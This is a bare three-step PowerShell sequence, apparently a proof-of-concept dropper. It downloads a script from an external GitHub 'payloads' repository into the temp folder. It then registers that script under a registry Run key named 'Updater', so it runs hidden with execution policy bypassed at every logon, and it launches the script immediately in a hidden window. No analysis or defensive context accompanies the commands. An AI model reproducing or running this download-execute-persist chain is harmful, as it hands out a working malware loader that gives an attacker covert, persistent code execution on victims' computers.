1. Invoke-WebRequest "https://raw.githubusercontent.com/lubrj/payloads/refs/heads/main/poc"; -OutFile "$env:TEMP\install.ps1"
  2. New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -File `"$env:TEMP\install.ps1`"" -PropertyType String -Force
  3. Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$env:TEMP\install.ps1`"" -WindowStyle Hidden